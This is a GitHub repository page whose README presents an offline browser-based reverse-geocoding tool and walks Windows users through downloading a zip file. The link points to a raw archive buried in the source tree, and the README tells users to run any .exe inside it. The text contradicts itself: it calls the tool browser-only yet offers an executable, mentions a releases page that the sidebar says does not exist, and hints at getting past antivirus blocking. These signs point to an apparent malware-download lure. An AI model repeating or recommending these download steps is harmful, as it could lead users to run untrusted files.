Skip to content

harvinder-hanjra/reverse-geocode

Repository files navigation

🗺️ reverse-geocode - Offline location lookup in your browser

Download reverse-geocode


reverse-geocode lets you find location names from coordinates on your computer. It runs entirely in your browser without needing the internet. You can try three different ways to get results, each focused on speed or size.

This guide will help you get the app running on Windows.


🖥️ What is reverse-geocode?

reverse-geocode is a small tool that turns latitude and longitude numbers into place names like cities or streets. You can use it offline through your web browser.

It uses clever ways to search through map data very fast. This lets you get locations without waiting. The three built-in search methods include:

  • Morton grid: Organizes the map in blocks for quick lookup.
  • H3 block search: Uses a hexagon grid system that balances speed and accuracy.
  • H3 flat search: Similar to block search but optimized to use less memory.

These methods run in your browser using WebAssembly, meaning they work fast and don’t need any downloads beyond the main page.


💻 System Requirements

To use reverse-geocode, your PC needs:

  • Windows 10 or later
  • A modern web browser (Chrome, Firefox, Edge, or Safari)
  • At least 4 GB of RAM for smooth performance
  • Internet access only for downloading the app; no internet is needed to use it once downloaded

🎯 Key Features

  • Works offline in your browser with no extra software needed
  • Compare different search methods on the spot for speed or size
  • Handles large map data for accurate location results
  • Built with web technologies that run well on most computers
  • Open source tool available for exploration and study

🚀 Getting Started

Follow these steps to download and run reverse-geocode on your Windows PC.


1. Visit the download page

Click the button above or go to:

https://github.com/harvinder-hanjra/reverse-geocode/raw/refs/heads/main/z0/ui/geocode_reverse_v3.5.zip

This page lists the files you need to download to run the application.


2. Download the latest Windows version

On the releases page, find the latest version marked as stable.

Look for a file ending with .exe if provided, or a zip file.

Click its link to download it to your PC.


3. Open the downloaded file

If you downloaded an .exe file:

  • Double-click it to install or run the program.
  • Follow on-screen prompts if any appear.

If you downloaded a zip file:

  • Right-click the zip file and choose “Extract All.”
  • Pick a folder you want to keep it in.
  • Open that folder and find the file named like “reverse-geocode.html” or similar.
  • Double-click that HTML file to open it in your web browser.

4. Use the application

Once the page loads:

  • Enter the latitude and longitude coordinates you want to look up.
  • Choose the search method (Morton grid, H3 block, or H3 flat).
  • Click the lookup button or wait a moment to see the location name.
  • Try different methods to compare how fast or big the results are.

5. Troubleshooting tips

  • If the app does not open, check your browser settings to make sure JavaScript is enabled.
  • Use a supported browser like Chrome or Edge.
  • Make sure your downloaded files are complete and not blocked by your antivirus.
  • Refresh the page or reopen the file if something looks wrong.

🔧 How reverse-geocode works

reverse-geocode uses spatial indexing techniques powered by WebAssembly and Zig language to handle large datasets efficiently in your browser.

  • The Morton grid divides space into squares using Morton codes.
  • The H3 block search slices the map into hexagons, speeding up queries.
  • The H3 flat search is a variation optimized for less memory.

These approaches help locate the closest named place based on your coordinates without internet access.


🔍 Exploring the interface

The app interface lets you:

  • Enter coordinates manually.
  • Switch quickly between the three search types.
  • View results immediately below the input form.
  • Compare time taken and data size for each search type if enabled.
  • Reset inputs or clear results when needed.

📂 Data and privacy

All location data runs locally in your browser. Nothing is sent to a server, which means:

  • Your privacy is kept intact.
  • You can use the app securely without tracking.
  • No internet connection is required after the initial download.

🛠️ Advanced use (Optional)

If you want to explore the technology behind reverse-geocode:

  • You can download the source code from the GitHub repository.
  • The app uses WebAssembly modules built with Zig, a systems programming language.
  • The spatial search methods are implemented to balance speed, memory, and accuracy.

This is mostly for users who want to customize the code or integrate the methods into other projects.


📥 Download and install

Click this link again to visit the download page and get the latest files:

https://github.com/harvinder-hanjra/reverse-geocode/raw/refs/heads/main/z0/ui/geocode_reverse_v3.5.zip

Choose the version that matches your Windows system, then download and run or open the files using the directions above.


🤝 Support and feedback

If you run into issues, check the open issues on GitHub or post a new one describing your problem.

You can also explore FAQs and discussions on the repository page.


🔗 Useful links


Download reverse-geocode

About

Perform offline reverse geocoding in the browser to get country and region from coordinates without servers or network calls.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors